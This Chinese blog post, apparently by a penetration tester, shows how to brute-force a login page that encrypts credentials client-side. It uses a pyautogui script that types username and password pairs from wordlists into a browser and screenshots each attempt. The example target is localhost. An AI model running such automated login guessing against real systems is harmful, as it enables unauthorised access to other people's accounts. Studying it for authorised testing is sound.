做安全测试的时候经常会遇到前端登录数据包加密,又懒得去分析js看加密算法,特别一些做了混淆的,分析起来那叫一个恶心……
逼的我又拿起了python,开始一顿操作
python真的能为所欲为
基础知识
这次要用到的是一个叫pyautogui的库,在python2的环境下安装很简单
python -m pip install pyautogui
然后在命令行测试一下是否能引用
image.png
没毛病,接下来简单介绍一下pyautogui
简单来说,这个库可以用来模拟鼠标、键盘操作
我们要用到的有
获取当前鼠标位置
pyautogui.position()
鼠标左击
pyautogui.click(x=123, y=456)
鼠标双击(按两下左键)
pyautogui.doubleClick(x=123, y=456)
鼠标左键按下
pyautogui.mouseDown(x=123, y=456)
鼠标左键松起
pyautogui.mouseUp(x=123, y=456)
键盘写入文本
pyautogui.typewrite('http://www.baidu.com\n')
# 这里的 '\n'是换行,其他特殊按键请自行查找手册
截屏
pyautogui.screenshot('log/test.png')
每次操作间隔时间
pyautogui.PAUSE = 0.2 #单位 秒
差不多了,这些基本够我们用了,接下来开始造轮子
python大法好
分析一波流程
首先,我们在运行脚本的时候,肯定是命令行获取的焦点,而不是浏览器,所以第一步就需要打开浏览器,为了方便可以提前打开一个,通过点击底部任务栏来切换到浏览器
image.png
然后每次先输入地址,然后输入用户名,输入密码,点击登录按钮
输入地址,可以在浏览器地址栏右侧按下左键,然后移动到地址栏最左侧,然后再输入文本,带上'\n'就可以转到指定的页面了
输入用户名,这块可根据具体页面的文本框采用单击或双击的办法清空或选中用户名栏的文本
输入密码,同用户名
点击登录,鼠标移动到登录按钮然后左击
等待http响应后(自己根据网络速度估摸一个大致时间),截屏到指定目录
如此循环
代码如下:
#!/usr/bin/python2
import pyautogui as pag
import time
pag.PAUSE = 0.2
def clearChar(chars):
reStr = ['\n','\r','\t',' ']
for reS in reStr:
chars = chars.replace(reS, '')
return chars
class Point:
x = 0
y = 0
def __init__(self, x, y):
self.x = x
self.y = y
def autoCrack(username, password):
global userBox
global passBox
global submitBtn
global urlBoxRight
global urlBoxLeft
global loginUrl
pag.mouseDown(urlBoxRight.x, urlBoxRight.y)
pag.mouseUp(urlBoxLeft.x, urlBoxLeft.y)
pag.typewrite(loginUrl+'\n')
time.sleep(1)
pag.click(userBox.x, userBox.y)
pag.typewrite(username)
pag.click(passBox.x, passBox.y)
pag.typewrite(password)
pag.click(submitBtn.x, submitBtn.y)
time.sleep(3)
pag.screenshot('log/{}_{}.png'.format(username, password))
time.sleep(1)
if __name__ == '__main__':
# Point
chromeIcon = Point(988, 1778)
userBox = Point(2524, 600)
passBox = Point(2530, 706)
submitBtn = Point(2468, 852)
urlBoxRight = Point(2052, 74)
urlBoxLeft = Point(150, 68)
loginUrl = 'http://127.0.0.1/login.php'
userFile = 'user.txt'
passFile = 'pass.txt'
pUserFile = open(userFile, 'r')
pPassFile = open(passFile, 'r')
userList = pUserFile.readlines()
passList = pPassFile.readlines()
pUserFile.close()
pPassFile.close()
pag.click(chromeIcon.x, chromeIcon.y)
for pwd in passList:
pwd = clearChar(pwd)
for user in userList:
user = clearChar(user)
autoCrack(user, pwd)
看看实际效果
image.png